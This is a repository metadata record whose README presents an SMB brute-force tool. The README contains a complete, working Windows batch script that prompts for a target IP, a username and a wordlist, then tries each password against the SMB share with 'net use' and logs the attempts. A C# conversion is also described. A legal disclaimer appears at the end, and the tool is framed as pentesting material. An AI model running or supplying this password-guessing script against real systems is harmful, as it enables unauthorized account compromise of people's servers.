{"id":19581604,"url":"https://github.com/liragbr/bruteforce2v","last_synced_at":"2025-02-26T12:21:41.091Z","repository":{"id":243048838,"uuid":"811306175","full_name":"Liragbr/BruteForce2v","owner":"Liragbr","description":" This C# app brute forces SMB services to find a remote user's password. It asks for IP, username, and password list file. Then it tries each password, logging attempts and showing progress. It's a more readable and efficient conversion from a batch script.","archived":false,"fork":false,"pushed_at":"2024-06-06T16:47:57.000Z","size":916,"stargazers_count":0,"open_issues_count":0,"forks_count":0,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-01-09T05:25:10.633Z","etag":null,"topics":["brute-force","bruteforce","config","csharp","cybersecurity","pentest","pentesting","smb","testing"],"latest_commit_sha":null,"homepage":"","language":"C#","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/Liragbr.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2024-06-06T10:46:01.000Z","updated_at":"2024-09-30T04:29:22.000Z","dependencies_parsed_at":"2024-06-06T12:47:09.359Z","dependency_job_id":"068d015c-d62d-4c7d-8e11-0268cfe828b6","html_url":"https://github.com/Liragbr/BruteForce2v","commit_stats":null,"previous_names":["liragbr/bruteforce2.0v"],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Liragbr%2FBruteForce2v","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Liragbr%2FBruteForce2v/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Liragbr%2FBruteForce2v/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Liragbr%2FBruteForce2v/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Liragbr","download_url":"https://codeload.github.com/Liragbr/BruteForce2v/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":240849626,"owners_count":19867727,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["brute-force","bruteforce","config","csharp","cybersecurity","pentest","pentesting","smb","testing"],"created_at":"2024-11-11T07:37:18.668Z","updated_at":"2025-02-26T12:21:40.973Z","avatar_url":"https://github.com/Liragbr.png","language":"C#","funding_links":[],"categories":[],"sub_categories":[],"readme":"# SMB Bruteforce 2.0v\nThis C# application performs a brute force attack on SMB (Server Message Block) to try and discover a user's password on a remote server. Originally a .bat script, it has been converted to C# for improved readability and efficiency. The application prompts the user for the target IP address, username, and the path to a password list file. It then attempts to authenticate to the SMB server using each password from the list, logging the details of each attempt.\n\n### .BAT CODE\n```bat\n@echo off\ntitle SMB Bruteforce - by Lira\ncolor A\necho.\nsetlocal enabledelayedexpansion\n\n:validate_ip\nset \"ip=%~1\"\nfor /f \"tokens=1-4 delims=.\" %%a in (\"%ip%\") do (\n    if %%a lss 0 set valid_ip=0\n    if %%a gtr 255 set valid_ip=0\n    if %%b lss 0 set valid_ip=0\n    if %%b gtr 255 set valid_ip=0\n    if %%c lss 0 set valid_ip=0\n    if %%c gtr 255 set valid_ip=0\n    if %%d lss 0 set valid_ip=0\n    if %%d gtr 255 set valid_ip=0\n)\nif defined valid_ip (\n    echo Invalid IP address. Please enter a valid IP address.\n    exit /b 1\n)\ngoto :eof\n\n:input\nset /p ip=\"Enter IP Address: \"\ncall :validate_ip %ip%\nset /p user=\"Enter Username: \"\nset /p wordlist=\"Enter Password List (with full path): \"\nif not exist \"%wordlist%\" (\n    echo Password list file not found. Please enter a valid file path.\n    exit /b 1\n)\n\nsetlocal enabledelayedexpansion\nfor /f %%a in ('find /c /v \"\" ^\u003c\"%wordlist%\"') do set total=%%a\nset /a progress=0\n\nset log=\"bruteforce_log.txt\"\necho SMB Bruteforce Log \u003e %log%\necho Target IP: %ip% \u003e\u003e %log%\necho Username: %user% \u003e\u003e %log%\necho Wordlist: %wordlist% \u003e\u003e %log%\necho. \u003e\u003e %log%\n\nset /a count=1\nfor /f \"usebackq tokens=*\" %%a in (\"%wordlist%\") do (\n    set \"pass=%%a\"\n    call :attempt\n    set /a progress+=1\n    set /a percent=(progress*100)/total\n    \u003cnul set /p \"=Progress: !percent!%% [!progress! / !total! attempts]\" \n    echo.\n)\necho Password not Found :(\necho Password not Found :( \u003e\u003e %log%\npause\nexit\n\n:success\necho.\necho Password Found! !pass!\necho Password Found! !pass! \u003e\u003e %log%\nnet use \\\\%ip% /d /y \u003enul 2\u003e\u00261\npause\nexit\n\n:attempt\nnet use \\\\%ip% /user:%user% \"!pass!\" \u003enul 2\u003e\u00261\necho [ATTEMPT !count!] [!pass!]\necho [ATTEMPT !count!] [!pass!] \u003e\u003e %log%\nset /a count+=1\nif !errorlevel! EQU 0 goto success\ngoto :eof\n```\n\n## Features\nThe program begins by setting up the console and collecting user inputs. It validates the provided IP address to ensure it is in the correct format, comprising four numbers between 0 and 255. After validating the IP address, the application reads the passwords from the provided list and initiates the brute force process. Each authentication attempt is made using the net use command, and the exit code of this command is checked to determine if the attempt was successful. All results, including successful and unsuccessful attempts, are logged in a detailed log file.\n\n## Prerequisites\nTo compile and run this C# application, you will need the `.NET Framework`. Additionally, since the net use commands require `administrative privileges`, ensure that you have the necessary permissions to execute these commands.\n\n## Example Usage\nWhen you run the program, it will prompt you to enter the target `IP address`, the `username`, and the full path to your `password list` file. For example:\n```\nEnter IP Address: 192.168.56.255\nEnter Username: admin\nEnter Password List (with full path): C:\\passwords.txt\n```\nThe program will then attempt to authenticate to the SMB server using each password from the provided list. Progress will be displayed in the console, and each attempt will be logged. If the correct password is found, a success message will be displayed and logged.\n\n## Code Structure\nThe Main method is responsible for setting up the console and collecting user inputs. It then validates the IP address, reads the password list, and initiates the brute force process. The Prompt method is used to display messages and read user inputs, while the ValidateIP method checks if the provided IP address is valid. The AttemptLogin method executes the net use command to attempt authentication and checks the exit code to determine if the authentication was successful.\n### Explanation of Key Components\n**Main Method:**\n\n- Sets the console title and color.\n- Prompts the user for IP address, username, and the path to the password list.\n- Validates the IP address format.\n- Reads passwords from the provided file.\n- Initiates the brute force process and logs results.\n\n**Prompt Method:**\n\n- Displays a message and reads the user's input.\n- This method simplifies the process of collecting input from the user.\n\n**ValidateIP Method:**\n\n- Splits the IP address into its components.\n- Checks if each component is a number between 0 and 255.\n- Returns true if the IP address is valid, otherwise returns false.\n\n**AttemptLogin Method:**\n\n- Constructs the command to attempt SMB login using net use.\n- Configures the process to run the command silently.\n- Executes the command and waits for it to finish.\n- Returns true if the login attempt was successful (exit code 0), otherwise returns false.\n\n## ⚠️ Legal Disclaimer\nThis code was created for educational purposes and testing in controlled environments. Using this code on servers or networks without permission is illegal and can result in severe penalties. Use it responsibly and always obtain permission before conducting security tests on any system.\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fliragbr%2Fbruteforce2v","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fliragbr%2Fbruteforce2v","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fliragbr%2Fbruteforce2v/lists"}